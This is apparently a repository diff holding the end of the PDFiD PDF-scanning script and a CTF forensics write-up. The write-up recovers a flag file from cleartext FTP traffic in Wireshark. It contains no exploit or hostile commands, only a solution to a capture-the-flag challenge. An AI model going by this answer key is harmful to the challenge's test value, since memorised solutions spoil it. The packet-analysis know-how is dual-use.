att = xmlDoc.createAttribute('Name')
|
||||
att.nodeValue = word
|
||||
eleKeyword.setAttributeNode(att)
|
||||
att = xmlDoc.createAttribute('Count')
|
||||
att.nodeValue = str(words[word][0])
|
||||
eleKeyword.setAttributeNode(att)
|
||||
att = xmlDoc.createAttribute('HexcodeCount')
|
||||
att.nodeValue = str(words[word][1])
|
||||
eleKeyword.setAttributeNode(att)
|
||||
eleDates = xmlDoc.createElement('Dates')
|
||||
xmlDoc.documentElement.appendChild(eleDates)
|
||||
dates.sort(key=lambda x: x[0])
|
||||
for date in dates:
|
||||
eleDate = xmlDoc.createElement('Date')
|
||||
eleDates.appendChild(eleDate)
|
||||
att = xmlDoc.createAttribute('Value')
|
||||
att.nodeValue = date[0]
|
||||
eleDate.setAttributeNode(att)
|
||||
att = xmlDoc.createAttribute('Name')
|
||||
att.nodeValue = date[1]
|
||||
eleDate.setAttributeNode(att)
|
||||
return xmlDoc
|
||||
|
||||
def PDFiD2String(xmlDoc, force):
|
||||
result = 'PDFiD %s %s\n' % (xmlDoc.documentElement.getAttribute('Version'), xmlDoc.documentElement.getAttribute('Filename'))
|
||||
if xmlDoc.documentElement.getAttribute('ErrorOccured') == 'True':
|
||||
return result + '***Error occured***\n%s\n' % xmlDoc.documentElement.getAttribute('ErrorMessage')
|
||||
if not force and xmlDoc.documentElement.getAttribute('IsPDF') == 'False':
|
||||
return result + ' Not a PDF document\n'
|
||||
result += ' PDF Header: %s\n' % xmlDoc.documentElement.getAttribute('Header')
|
||||
for node in xmlDoc.documentElement.getElementsByTagName('Keywords')[0].childNodes:
|
||||
result += ' %-16s %7d' % (node.getAttribute('Name'), int(node.getAttribute('Count')))
|
||||
if int(node.getAttribute('HexcodeCount')) > 0:
|
||||
result += '(%d)' % int(node.getAttribute('HexcodeCount'))
|
||||
result += '\n'
|
||||
if xmlDoc.documentElement.getAttribute('CountEOF') != '':
|
||||
result += ' %-16s %7d\n' % ('%%EOF', int(xmlDoc.documentElement.getAttribute('CountEOF')))
|
||||
if xmlDoc.documentElement.getAttribute('CountCharsAfterLastEOF') != '':
|
||||
result += ' %-16s %7d\n' % ('After last %%EOF', int(xmlDoc.documentElement.getAttribute('CountCharsAfterLastEOF')))
|
||||
for node in xmlDoc.documentElement.getElementsByTagName('Dates')[0].childNodes:
|
||||
result += ' %-23s %s\n' % (node.getAttribute('Value'), node.getAttribute('Name'))
|
||||
if xmlDoc.documentElement.getAttribute('TotalEntropy') != '':
|
||||
result += ' Total entropy: %s (%10s bytes)\n' % (xmlDoc.documentElement.getAttribute('TotalEntropy'), xmlDoc.documentElement.getAttribute('TotalCount'))
|
||||
if xmlDoc.documentElement.getAttribute('StreamEntropy') != '':
|
||||
result += ' Entropy inside streams: %s (%10s bytes)\n' % (xmlDoc.documentElement.getAttribute('StreamEntropy'), xmlDoc.documentElement.getAttribute('StreamCount'))
|
||||
if xmlDoc.documentElement.getAttribute('NonStreamEntropy') != '':
|
||||
result += ' Entropy outside streams: %s (%10s bytes)\n' % (xmlDoc.documentElement.getAttribute('NonStreamEntropy'), xmlDoc.documentElement.getAttribute('NonStreamCount'))
|
||||
return result
|
||||
|
||||
def Scan(directory, allNames, extraData, disarm, force):
|
||||
try:
|
||||
if os.path.isdir(directory):
|
||||
for entry in os.listdir(directory):
|
||||
Scan(os.path.join(directory, entry), allNames, extraData, disarm, force)
|
||||
else:
|
||||
result = PDFiD2String(PDFiD(directory, allNames, extraData, disarm, force), force)
|
||||
print(result)
|
||||
logfile = open('PDFiD.log', 'a')
|
||||
logfile.write(result + '\n')
|
||||
logfile.close()
|
||||
except:
|
||||
pass
|
||||
|
||||
#function derived from: http://blog.9bplus.com/pdfidpy-output-to-json
|
||||
def PDFiD2JSON(xmlDoc, force):
|
||||
#Get Top Layer Data
|
||||
errorOccured = xmlDoc.documentElement.getAttribute('ErrorOccured')
|
||||
errorMessage = xmlDoc.documentElement.getAttribute('ErrorMessage')
|
||||
filename = xmlDoc.documentElement.getAttribute('Filename')
|
||||
header = xmlDoc.documentElement.getAttribute('Header')
|
||||
isPdf = xmlDoc.documentElement.getAttribute('IsPDF')
|
||||
version = xmlDoc.documentElement.getAttribute('Version')
|
||||
entropy = xmlDoc.documentElement.getAttribute('Entropy')
|
||||
|
||||
#extra data
|
||||
countEof = xmlDoc.documentElement.getAttribute('CountEOF')
|
||||
countChatAfterLastEof = xmlDoc.documentElement.getAttribute('CountCharsAfterLastEOF')
|
||||
totalEntropy = xmlDoc.documentElement.getAttribute('TotalEntropy')
|
||||
streamEntropy = xmlDoc.documentElement.getAttribute('StreamEntropy')
|
||||
nonStreamEntropy = xmlDoc.documentElement.getAttribute('NonStreamEntropy')
|
||||
|
||||
keywords = []
|
||||
dates = []
|
||||
|
||||
#grab all keywords
|
||||
for node in xmlDoc.documentElement.getElementsByTagName('Keywords')[0].childNodes:
|
||||
name = node.getAttribute('Name')
|
||||
count = int(node.getAttribute('Count'))
|
||||
if int(node.getAttribute('HexcodeCount')) > 0:
|
||||
hexCount = int(node.getAttribute('HexcodeCount'))
|
||||
else:
|
||||
hexCount = 0
|
||||
keyword = { 'count':count, 'hexcodecount':hexCount, 'name':name }
|
||||
keywords.append(keyword)
|
||||
|
||||
#grab all date information
|
||||
for node in xmlDoc.documentElement.getElementsByTagName('Dates')[0].childNodes:
|
||||
name = node.getAttribute('Name')
|
||||
value = node.getAttribute('Value')
|
||||
date = { 'name':name, 'value':value }
|
||||
dates.append(date)
|
||||
|
||||
data = { 'countEof':countEof, 'countChatAfterLastEof':countChatAfterLastEof, 'totalEntropy':totalEntropy, 'streamEntropy':streamEntropy, 'nonStreamEntropy':nonStreamEntropy, 'errorOccured':errorOccured, 'errorMessage':errorMessage, 'filename':filename, 'header':header, 'isPdf':isPdf, 'version':version, 'entropy':entropy, 'keywords': { 'keyword': keywords }, 'dates': { 'date':dates} }
|
||||
complete = [ { 'pdfid' : data} ]
|
||||
result = json.dumps(complete)
|
||||
return result
|
||||
|
||||
def Main():
|
||||
oParser = optparse.OptionParser(usage='usage: %prog [options] [pdf-file|zip-file|url]\n' + __description__, version='%prog ' + __version__)
|
||||
oParser.add_option('-s', '--scan', action='store_true', default=False, help='scan the given directory')
|
||||
oParser.add_option('-a', '--all', action='store_true', default=False, help='display all the names')
|
||||
oParser.add_option('-e', '--extra', action='store_true', default=False, help='display extra data, like dates')
|
||||
oParser.add_option('-f', '--force', action='store_true', default=False, help='force the scan of the file, even without proper %PDF header')
|
||||
oParser.add_option('-d', '--disarm', action='store_true', default=False, help='disable JavaScript and auto launch')
|
||||
(options, args) = oParser.parse_args()
|
||||
|
||||
if len(args) == 0:
|
||||
if options.disarm:
|
||||
print('Option disarm not supported with stdin')
|
||||
options.disarm = False
|
||||
print(PDFiD2String(PDFiD('', options.all, options.extra, options.disarm, options.force), options.force))
|
||||
elif len(args) == 1:
|
||||
if options.scan:
|
||||
Scan(args[0], options.all, options.extra, options.disarm, options.force)
|
||||
else:
|
||||
print(PDFiD2String(PDFiD(args[0], options.all, options.extra, options.disarm, options.force), options.force))
|
||||
else:
|
||||
oParser.print_help()
|
||||
print('')
|
||||
print(' %s' % __description__)
|
||||
print(' Source code put in the public domain by Didier Stevens, no Copyright')
|
||||
print(' Use at your own risk')
|
||||
print(' https://DidierStevens.com')
|
||||
return
|
||||
|
||||
if __name__ == '__main__':
|
||||
Main()
|
100
CTFs/2014-CSAW-CTF/forensics/why-not-sftp/README.md
Normal file
100
CTFs/2014-CSAW-CTF/forensics/why-not-sftp/README.md
Normal file
|
@ -0,0 +1,100 @@
|
|||
# Forensics-200: why not sftp?
|
||||
|
||||
The meaning of this problem is to teach about the need of encrypting your data. The [FTP] protocol sends clear text over the wire, *i.e* the data is transmitted without any encryption.
|
||||
[SSH/Secure File Transfer Protocol] is a network protocol providing secure file transfer. Using SFTP, instead of FTP, would avoid to find the flag in this problem in the way we did.
|
||||
|
||||
This is the second forensics problem and it starts with the following text:
|
||||
|
||||
> well seriously, why not?
|
||||
>
|
||||
> Written by marc
|
||||
>
|
||||
> [traffic-5.pcap]
|
||||
>
|
||||
|
||||
|
||||
|
||||
---
|
||||
|
||||
## Analyzing the PCAP File
|
||||
|
||||
Now let's search for the flag! We open the [pcap] file in [Wireshark] (an open-source packet analyzer). There are several things that we could search for in this file, for instance we could look for FTP transactions or we could search for strings such as *password* or *flag*. We show both approaches.
|
||||
|
||||
|
||||
## Solution 1: Searching for the string *flag*
|
||||
|
||||
#### Going in the Wrong Way
|
||||
|
||||
So the first thing I did was searching for the string *password*:
|
||||
|
||||
1. Go to Edit
|
||||
2. Go to Find Packet
|
||||
3. Search for password choosing the options string and packet bytes.
|
||||
|
||||
Clicking on *Follow TCP Stream* gives:
|
||||

|
||||
|
||||
Nope. This is a misleading information!
|
||||
|
||||
---
|
||||
|
||||
#### But We Were Almost There!
|
||||
|
||||
Now, if we search for *flag* we actually find something:
|
||||
|
||||

|
||||
|
||||
We find the packet with a file named flag! Awesome.
|
||||
|
||||
|
||||
---
|
||||
|
||||
## Solution 2: Looking for the FTP Protocols
|
||||
|
||||
All right, let's use another information we have: it should be something related to the FTP protocol. In Wireshark, we can find specific protocol with filters. We want to filter for FTP with some data. We start trying the usual FTP-DATA port:
|
||||
|
||||
```
|
||||
tcp.port==20
|
||||
```
|
||||
|
||||
Nope. The results should be another port. Let's search explicitly for:
|
||||
|
||||
```
|
||||
ftp-data
|
||||
```
|
||||
|
||||
Cool, we found a few packets:
|
||||

|
||||
|
||||
We don't need to scroll down too much to find a packet with a string flag on it! Awesome.
|
||||
|
||||
|
||||
---
|
||||
|
||||
## Extracting the File
|
||||
|
||||
Once we find the packet with any of the methods above, we right-click it selecting *Follow TCP Stream*. This leads to:
|
||||
|
||||

|
||||
|
||||
The file *flag.png* is our flag. To extract it we click in the *Save as* button, then in the terminal we can use the command [file]:
|
||||
```sh
|
||||
$ file s.whatever
|
||||
s.whatever: Zip archive data, at least v2.0 to extract
|
||||
```
|
||||
|
||||
Awesome, so all we need is to *unzip* this file and we get *flag.png*:
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
**Hack all the Things!**
|
||||
[file]: http://en.wikipedia.org/wiki/File_(command)
|
||||
[SSH/Secure File Transfer Protocol]: http://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol
|
||||
[traffic-5.pcap]: https://ctf.isis.poly.edu/static/uploads/7831788f2ab94feddc72ce53e80fda5f/traffic-5.pcap
|
||||
[sftp]: http://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol
|
||||
[pcap]: http://en.wikipedia.org/wiki/Pcap
|
||||
[Wireshark]: https://www.wireshark.org/
|
||||
[FTP]: http://en.wikipedia.org/wiki/File_Transfer_Protocol
|
BIN
CTFs/2014-CSAW-CTF/forensics/why-not-sftp/traffic-5.pcap
Normal file
BIN
CTFs/2014-CSAW-CTF/forensics/why-not-sftp/traffic-5.pcap
Normal file
Binary file not shown.
Loading…
Add table
Add a link
Reference in a new issue